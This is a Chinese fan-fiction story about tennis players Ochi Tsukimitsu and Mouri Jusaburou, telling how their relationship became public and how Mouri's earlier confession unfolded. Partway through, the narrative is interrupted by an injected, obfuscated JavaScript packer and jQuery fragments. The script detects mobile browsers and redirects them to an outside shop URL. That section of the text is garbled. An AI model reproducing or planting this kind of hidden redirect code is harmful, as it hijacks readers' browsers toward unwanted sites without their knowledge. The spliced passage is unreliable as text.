这是越知月光和毛利寿三郎重生前的故事。
越知月光和毛利寿三郎的关系曝光是在后者第二次参加U-17世界杯并成功卫冕的庆功宴上。
和平等院凤凰不一样,从高一开始就和后辈们相处的很融洽的毛利寿三郎是真的没有太多领队的威严和架子。
除非在比赛场上,否则他很少展示出威严的一面。
因此他和后辈们真能玩到一起去。
尤其是在曾经的队友们又一次守护了前辈们留下的荣耀之后的庆功宴上。
国王游戏。
这几乎是在每一场庆功宴上都不可或缺的存在。
之前平等院凤凰还是领队的时候,大家虽然想打听他的八卦,但迫于领队的威压,最终还是没多少人敢惹这位铁血手腕的队长。
因此打听到的八卦不多。
但毛利寿三郎可不一样。
别说立海大的后辈了,其他学校的多少也敢在毛利领队的头上动土。
特指玩游戏的时候。
因为猫猫真的会和大家玩到一起。
一点都没有意外地被针对了的毛利寿三郎当天晚上无数次成为被国王点名的幸运儿。
也毫无疑问地被提问了数个经典问题。
“毛利前辈有对象了吗?”
“是谁追的谁、谁告的白?”
“毛利前辈的对象是谁——”
前几个问题答的毫不犹豫的毛利寿三郎在最后一个问题身上犹豫了。
马上便被数据组的看出了端倪。
“看来是我们认识的人呢,毛利前辈。”
毛利寿三郎倒是承认了这一点:“是啊,在场的大家都认识呢。”
切原赤也当即就来了精神开始思考:“是立海大的人吗?不对,毛利前辈好像也经常去东京吧,那就是除了四天宝寺以外的其他几所东京的学校都有可能。”
“可是哪有在场的大家都认识的女孩子啊——”已经是个高中生却还一点都不稳重的切原赤也发出哀嚎。
幸村精市倒是冷静。
他很是确信地开了口:“是越知前辈吧。”
“那个我们在场的所有人都认识、毛利前辈主动追还先告白了的对象,就是越知前辈吧。”
不二周助对此也表示赞同。
“毕竟只有这个答案了呢。”
“唉?”切原赤也瞪大了眼睛,“是越知前辈?”
白石藏之介一脸无奈地看着也算半个他带大的小孩:“切原君还是这么迟钝呢。”
“唉唉唉——”
其实一开始并没有想隐藏自己和月光さん的关系,只是不知道也没想好该怎么开口了的毛利寿三郎见状,干脆也就点了点头。
“确实是月光さん。”猫猫承认道。
然后那场庆功宴,最后就莫名演变成了后辈们对两位前辈恋爱史的打听。
大家真的只是好奇而已.JPG
好奇明明大家同样都是在U-17训练营接受教练的魔鬼训练,怎么你们还能抽空谈个恋爱?
于是毛利寿三郎只能稍微给后辈们回忆了一下他的记忆。
关于上一届U-17世界杯的记忆。
毛利寿三郎其实很早就察觉到了自己对越知前辈的在意。
一开始是因为关东大赛的那场个人赛,一向被誉为天才的他被越知月光以零封的成绩打败。
再然后是他终于拿到同年的秋季新人赛冠军,收到U-17训练营的邀请,又一次遇到了越知月光,只不过这次,他们不再是对手,而是在教练的安排下成了队友。
但是那份在意,究竟是什么时候变的味道,就连毛利寿三郎自己也说不清楚。
当他注意到自己似乎喜欢那位高个子前辈的时候,毛利寿三郎已经很喜欢越知月光了。
喜欢偷懒喜欢逃训的猫猫,会在被越知月光逮了几次以后乖乖给自己加训,也会主动跟着后者去练球,也难怪当初立海大的后辈们刚和自家前辈重逢时,一个个都震惊的要命。
就连同时期跟他一起进入U-17训练营,并入选一军的原哲也都怀疑自家好友是不是被掉了包。
可是毛利寿三郎就是做到了。
为了多和越知月光待在一起。
喜欢和越知前辈待在一块。
每每只要脑海中出现这个念头,猫猫都会忍不住欣喜,并随之付诸行动。
也是在海外远征的时候。
和保守也注重长幼观念的日本人不同,海外远征期间,作为越知月光的双打搭档,毛利寿三郎和前者一起,见识了许许多多、完全不同的双打组合。
他们看起来似乎都比他们两要亲密。
毛利寿三郎莫名有这种感觉。
那时候的他还会规规矩矩地喊越知月光为“越知前辈”,却在某场和热情奔放的外国人比赛之后,有了不一样的想法。
那场比赛最终是他们赢了。
同样竭尽全力的对手在赛后交流的时候,很大方也很自然地叫了他们的名字。
“你们真强啊,”那位对手这般说道,“月光也是,寿三郎也是,——很期待你们今年在U-17世界杯上的表现呢。”
“到时候再来打一场吧。”
其实后来他们还说了什么,毛利寿三郎没有太多的印象。
因为那时候的他满脑子想着的都是,他!都!还没有!直呼过越知前辈的名字!
也是在那天的比赛交流结束以后,回到酒店的越知月光自然也注意到了小孩的奇怪之处。
房间是两人一间的,作为双打搭档的他们自然也势必会居住在一起。
起初越知月光还以为毛利寿三郎在为今天比赛的失误而懊恼,因而在关上了房间门以后,还试图宽慰小孩两句。
——虽然叫小孩不太好,但作为一军前十唯一一位的高一学生,远征军的前十名都很难不把这个后辈当做小孩。
虽然这个小孩足足有一米九一的身高。
但身高二米二六的越知月光有十足的底气叫他小孩。
只不过还没等越知月光开口,毛利寿三郎反倒先闷闷地问了他一个问题。
“越知前辈,”小孩微微抬起了头,灰棕色的眼睛可怜巴巴地盯着他,就像是最初试图偷懒求情时候的模样,“能拜托你一件事吗?”
事后的毛利寿三郎都没想明白,当初自己是怎么敢就那样直接说出来了。
但他那时候还真就说了。
并不是告白。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13556689|138777||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
只是单纯地改了称呼。
见越知月光点头,毛利寿三郎才继续说:“我能称呼你的名字吗,越知前辈?”
然后猫猫又一时口快,试探性地举了例子:“就像,月光前辈这样。”
而那时候,越知月光答应了。
几乎没有犹豫。
“越知前辈”就这样变成了“月光前辈”。
再然后,又被猫猫缠着变成了“月光さん”。
两人的关系几乎是突飞猛进。
以至于当他们结束远征,回到U-17训练营的时候,毛利寿三郎已经敢顺势爬上越知月光了,就像猫猫爬上自己的专属猫爬架一样自然。
而越知月光也宠着他,几乎没有制止过毛利寿三郎那几乎已经算得上是越界的行为。
以至于毛利寿三郎总会忍不住觉得,月光さん是不是也有点喜欢自己。
于是在一二军替换赛那天,从医务室换完药出来、搀扶着脱臼的毛利寿三郎宿舍区走的时候,猫猫突然就想问问月光さん的想法。
他很突兀、也什么准备都没做的,就表白了。
可越知月光却像是没有听见一样,动作只是顿了顿,然后重新迈开了步子。
就像是拒绝。
毛利寿三郎当即就觉得脱臼的手臂好像还真的挺疼的。
地上的猫猫努力扑向天上的月亮,却是惨兮兮地摔了一跤,脏的灰头土脸。
可是向前走了两步的越知月光在察觉到毛利寿三郎停下脚步以后,也随之停下了脚步。
他似乎叹了口气。
然后他张开自己的手摆在了猫猫面前。
“你才十五岁,寿三郎。”
“你对我,究竟是喜欢还是慕强呢?”
而后越知月光揉了揉毛利寿三郎的小卷毛,轻声道:“如果再过两年,寿三郎你还喜欢我的话……”
他并没有将剩余的话说出口。
但毛利寿三郎却听明白了。
他很想告诉越知月光,他就是喜欢月光さん啊。
平等院前辈也好、杜克前辈、鬼前辈也好,他们不都很强吗?
可是猫猫只喜欢月光さん啊——
但当毛利寿三郎抬起头,看到越知月光那双总是藏在刘海中的蓝色眼眸时,突然就说不出话来了。
精神暗杀者的眼神凶狠,却鲜少对自己的搭档流露出那般的神色。
自从他们搭档以后,越知月光看向毛利寿三郎的神色总是充满了平静,平静之下还藏着他人不易察觉的温柔。
现在也是如此。
于是毛利寿三郎将即将脱口而出的话咽了回去,转而认真地点了点头:“好。”
等回了宿舍,越知月光和毛利寿三郎又恢复了如同往常般的相处模式。
但毛利寿三郎知道,有些东西已经不一样了。
因此在那届的U-17世界杯结束以后,毛利寿三郎依旧和已经毕业退出集训的越知月光保持着联系。
一直到两年后的U-17世界杯开始之前。
毛利寿三郎又一次对越知月光表了白。
这一次,越知月光没有拒绝。
他们在一起了。
猫猫终于摘到了属于他的月亮。